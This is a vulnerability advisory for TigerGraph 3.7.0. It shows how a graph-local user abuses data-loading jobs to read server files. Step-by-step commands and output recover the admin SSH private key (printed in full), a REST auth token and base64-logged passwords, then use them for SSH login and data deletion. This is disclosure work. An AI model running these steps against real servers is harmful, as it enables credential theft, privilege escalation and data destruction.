Data Loading Vulnerability

TigerGraph provides the facility for users to import data from arbitrary files that reside on the server on which TigerGraph is running. This feature can be exploited by an attacker to gain privileged access.. To illustrate this we show how a user with only graph-local privileges (the ability to design and implement queries on a local graph) is able to:

Recover the username and passwords of all users of the system (including the administrative user).
Recover the private SSH key of the administrative user to gain password-less SSH access to the underlying server and any other server in the TigerGraph cluster.
Recover the administrative access token to gain privileged access to all REST API endpoints and allow an attacker to create/read/update/delete all vertices/edges in any graph stored by the remote server.

Impact

Severe. This CVE also increases the severity of CVE-2022-30331 as it provides multiple paths to escalate a user’s permission level to that of the administrative user.

Products/Versions Affected

TigerGraph Enterprise Free Edition 3.7.0 Docker Image
TigerGraph Enterprise Free Edition 3.7.0
TigerGraph Cloud

We suspect that this vulnerability may be present in all TigerGraph products (although this is not confirmed).

Steps to Reproduce

Download and Run TigerGraph

Using docker download at the latest TigerGraph image and start the server: 1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:

docker rm tigergraph
docker pull docker.tigergraph.com/tigergraph:latest

2.) Download and run the docker image (note: we do not need to attach a volume):

docker run -d 
-p 14022:22 
-p 9000:9000 
-p 14240:14240 
--name tigergraph 
--ulimit nofile=1000000:1000000 
-t docker.tigergraph.com/tigergraph:latest

3.) Once the container has started, connect to it via ssh (note: the default password is ‘tigergraph’):

ssh -p 14022 tigergraph@localhost

4.) Start all TigerGraph services:

gadmin start all

5.) Create a test graph (to enable us to define a user with designer permissions)

gsql "create graph test()"

6.) Create a user — `alice` — with minimal privileges using GSQL:

gsql "create user"
User Name : alice
New Password : *****
Re-enter Password : *****

7.) Grant privileges to Alice:

gsql "grant role designer on graph test to alice"

8.) Enable RESTPP authentication

gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply -y
gadmin restart restpp nginx gui gsql -y

Prepare Exploit

1.) Once TigerGraph is running, open a GSQL console for user alice. If you are using a docker image then open a GSQL shell by using the steps provided below. (Note that the password will be whatever was set in step 6 above):

docker cp tigergraph:/home/tigergraph/tigergraph/app/3.6.0/dev/gdk/gsql/lib/gsql_client.jargsql_client.jar
java -jar gsql_client.jar -ip localhost -u alice
Adding gsql-server host localhost
Password for alice : *****
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL >

2.) Use alice’s ability to modify local graph schema to include a new special vertex type — V1 that can store the contents of a file as a list of strings:

GSQL > use graph test
Using graph 'test'
GSQL > begin
GSQL > create schema_change job job_1 for graph test {
GSQL > add vertex V1 (primary_id id uint, lines list<string>);
GSQL > }
GSQL > end
Successfully created schema change jobs: [job_1].

3.) To apply the schema changes run a schema_change job:

GSQL > run schema_change job job_1
Current graph version 0
Trying to add vertex V1.
Kick off job job_1
Graph test update to new version 1
The job job_1 completes in 8.139 seconds!

4.) Finally, we create a new data loading job, called foo, that ingests any text file into a vertex of type V1:

GSQL > begin
GSQL > create loading job foo for graph test {
GSQL > define filename f;
GSQL > load f to vertex V1 values(0,$0) using separator="\n", eol="-----";
GSQL > }
GSQL > end
Successfully created loading jobs: [foo].

Note: Prior to version 3.6.0 specifying using separator="\n", eol="-----" is not necessary.

Obtaining SSH Access As Administrator

1.) Run the data loading job to load the contents of the administrative user’s ( tigergraph) SSH private key:

GSQL > use graph test
Using graph 'test'
GSQL > run loading job foo using f="/home/tigergraph/.ssh/tigergraph_rsa"
[Tip: Use "CTRL + C" to stop displaying the loading status update, then use "SHOW LOADING STATUS jobid" to track the loading progress again]
[Tip: Manage loading jobs with "ABORT/RESUME LOADING JOB jobid"]
Starting the following job, i.e.
JobName: foo, jobid: test.foo.file.m1.1655728956129
Loading log: '/home/tigergraph/tigergraph/log/restpp/restpp_loader_logs/test/test.foo.file.m1.1655728956129.log'
Job "test.foo.file.m1.1655728956129" loading status
[FINISHED] m1 ( Finished: 1 / Total: 1 )
[LOADED]

+--------------------------------------------------------------------------------+
|FILENAME | LOADED LINES | AVG SPEED | DURATION|
|/home/tigergraph/.ssh/tigergraph_rsa | 51 | 510 l/s | 0.10 s|
+--------------------------------------------------------------------------------+

2.) Retrieve the contents of the private key by querying the node loaded into the graph:

GSQL > select lines from V1 limit 60
[{
"v_id": "0",
"attributes": {"lines": [
"-----BEGIN RSA PRIVATE KEY-----",
"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",
"-----END RSA PRIVATE KEY-----"
]},
"v_type": "V1"
}]

3.) Copy and paste the output into a clean file and fix-up formatting — removing double quotes, commas, and leading whitespace – to produce a valid SSH private key file. In this example we named it tigergraph-private-key and it looks like:

4.) Now, we change the file permissions on our file which allows us to load into our SSH keychain:

chmod 0600 tigergraph-private-key
ssh-add -l
The agent has no identities.

ssh-add tigergraph-private-key
Identity added: tigergraph-private-key (tigergraph-private-key)
ssh-add -l
4096 SHA256:vLvC0SaCrFDiJ/BbcP7c0GcA3tBoXxq+Om9kZg+t14Q tigergraph-private-key (RSA)

5.) Using this private SSH key we are able to login to the remote TigerGraph server as the administrative user (tigergraph) without requiring a password via SSH. In our docker setup we simply connect to localhost on port 14022:

ssh tigergraph@localhost -p 14022
The authenticity of host '[localhost]:14022 ([::1]:14022)' can't be established.
ED25519 key fingerprint is SHA256:zQKFdcNAdX7TwiBtQT1vuDdHWm2o07kS/mcwnSFeMYY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:14022' (ED25519) to the list of known hosts.
james@localhost's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.10.104-linuxkit x86_64)
* Documentation:https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support:https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Jun 20 12:28:10 2022 from 172.17.0.1
tigergraph@092eb28b2d49:~$

Obtaining Administrative REST Access

1.) In the same way in which we recovered the private SSH key in the last section we can recover a lot of useful platform configuration – including administrative authentication tokens – by searching through: /home/tigergraph/tigergraph/data/configs/tg.cfg. It can be loaded like so:

GSQL > use graph test
Using graph 'test'
GSQL > run loading job foo using f="/home/tigergraph/tigergraph/data/configs/tg.cfg"
[Tip: Use "CTRL + C" to stop displaying the loading status update, then use "SHOW LOADING STATUS jobid" to track the loading progress again]
[Tip: Manage loading jobs with "ABORT/RESUME LOADING JOB jobid"]
Starting the following job, i.e.
JobName: foo, jobid: test.foo.file.m1.1655730214335
Loading log: '/home/tigergraph/tigergraph/log/restpp/restpp_loader_logs/test/test.foo.file.m1.1655730214335.log'
Job "test.foo.file.m1.1655730214335" loading status
[FINISHED] m1 ( Finished: 1 / Total: 1 )
[LOADED]
+-------------------------------------------------------------------------------------------
| FILENAME | LOADED LINES | AVG SPEED | DURATION|
|/home/tigergraph/tigergraph/data/configs/tg.cfg |674 |6 kl/s | 0.10 s|
+-------------------------------------------------------------------------------------------+

2.) As there is much more information loaded into the graph, we can use our command line tools to find specific configuration values. In this case we look for the value of AuthToken. (Note: the `-p` command line option that is used below is short for password and will be the password that you set for the user alice.)

java -jar gsql_client.jar -ip localhost -u alice -p <password> -g test "select lines from V1 limit 1000" | grep AuthToken
"\"MaxAuthTokenLifeTimeSec\": 0",
"\"AuthToken\": \"9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe\"",

3.) Do a quick sanity test to check whether authentication is enabled on the REST API::

curl -X GET https://127.0.0.1:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":true,"message":"Access Denied because the input token = '' is empty","code":"REST-10016"}%

4.) Now we are able to send requests to REST APIs using our administrative AuthToken. Below we use it to return a list of vertices from our test graph:

curl -X GET \
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \
https://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"0","v_type":"V1","attributes":{"lines":["{","\"Admin\": {","\"BasicConfig\": {","\"Env\": \"LD_LIBRARY_PATH=$LD_LIBRARY_PATH;\"","\"LogConfig\": {","\"LogFileMaxDurationDay\": 90","\"LogFileMaxSizeMB\": 100","\"LogLevel\": \"INFO\"","\"LogRotationFileNumber\": 100","}","\"LogDirRelativePath\": \"admin\"","\"Nodes\": [","{","\"HostID\": \"m1\"","\"Partition\": 0","\"Replica\": 1","}","]","}","\"Port\": 12471","}","\"Controller\": {","...

5.) We can use these REST endpoints to remove data from our graph. Below we delete a vertex and then do a check it was deleted:

curl -X DELETE \
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \
https://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":{"v_type":"V1","deleted_vertices":1}}%
curl -X GET \
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \
https://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[]}%

Obtaining GSQL Login Credentials

1.) The TigerGraph GSQL server uses a weak HTTP authentication mechanism and logs the HTTP authentication headers. This means that usernames and passwords of any user that uses the GSQL server can be obtained by downloading the log files from the GSQL server. To do this we use our data loading job to read /home/tigergraph/tigergraph/log/gsql/log.INFO:

GSQL > use graph test
Using graph 'test'
GSQL > run loading job foo using f="/home/tigergraph/tigergraph/log/gsql/log.INFO"
[Tip: Use "CTRL + C" to stop displaying the loading status update, then use "SHOW LOADING STATUS jobid" to track the loading progress again]
[Tip: Manage loading jobs with "ABORT/RESUME LOADING JOB jobid"]
Starting the following job, i.e.
JobName: foo, jobid: test.foo.file.m1.1665575759405
Loading log: '/home/tigergraph/tigergraph/log/restpp/restpp_loader_logs/test/test.foo.file.m1.1665575759405.log'
Job "test.foo.file.m1.1665575759405" loading status
[RUNNING] m1 ( Finished: 1 / Total: 1 )
[LOADED]
+----------------------------------------------------------
Job "test.foo.file.m1.1665575759405" loading status
[FINISHED] m1 ( Finished: 1 / Total: 1 )
[LOADED]
+-----------------------------------------------------------------------------------------+
| FILENAME | LOADED LINES | AVG SPEED | DURATION|
|/home/tigergraph/tigergraph/log/gsql/log.INFO | 2008 | 20 kl/s | 0.10 s|
+-----------------------------------------------------------------------------------------+

2.) To locate the HTTP authentication headers we search through the loaded data for HTTP authentication requests. (Note: the `-p` command line option that is used below is short for password and will be the password that you set for the user alice.)

java -jar gsql_client.jar -ip localhost -u alice -p <password> -g test "select lines from V1 limit 2000" | grep "Basic "
<output truncated>
"I@20221012 11:32:55.088(SessionManager.java:235) Add session with cookie: {\"sessionId\":\"00000000066\",\"serverId\":\"1_1665568800738\",\"graph\":\"test\",\"gShellTest\":false,\"terminalWidth\":80,\"compileThread\":0,\"fromGraphStudio\":false,\"fromGsqlClient\":true,\"fromGsqlServer\":false,\"clientCommit\":\"b77b8fc6c2ceadd457571fc0a6ce1fb243e5f31c\",\"sessionAborted\":false,\"loadingProgressAborted\":false,\"auth\":\"Basic dGlnZXJncmFwaDp0aWdlcmdyYXBo\",\"metadataUpdateSeqId\":0}",
"I@20221012 11:55:58.819(SessionManager.java:235) Add session with cookie: {\"sessionId\":\"00000000152\",\"serverId\":\"1_1665568800738\",\"graph\":\"test\",\"gShellTest\":false,\"terminalWidth\":61,\"compileThread\":0,\"fromGraphStudio\":false,\"fromGsqlClient\":true,\"fromGsqlServer\":false,\"clientCommit\":\"b77b8fc6c2ceadd457571fc0a6ce1fb243e5f31c\",\"sessionAborted\":false,\"loadingProgressAborted\":false,\"auth\":\"Basic YWxpY2U6YWxpY2U\\u003d\",\"metadataUpdateSeqId\":0}",

3.) Decoding these authentication headers will reveal username and passwords of any users that connect to the GSQL server (including administrative users). It is possible to decode these values using the base64 command line utility like so (the output is in the format <username>:<password>):

echo YWxpY2U6YWxpY2U\\u003d | base64 -d
alice:alice%
echo dGlnZXJncmFwaDp0aWdlcmdyYXBo | base64 -d
tigergraph:tigergraph%

4.) As we know that the tigergraph user has administrative privileges we can now use the recovered credentials to login to either the GSQL server or the GraphStudio GUI:

java -jar gsql_client.jar -ip localhost -u tigergraph -p tigergraph
Adding gsql-server host localhost
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL >

GRAPH TOOLS

DEVELOPERS

DATA SCIENTISTS

LEARN

CONNECT

FEATURED EVENTS

QUICK LINKS

Hear directly from data and business trailblazers

Join our online conference. New themes every time.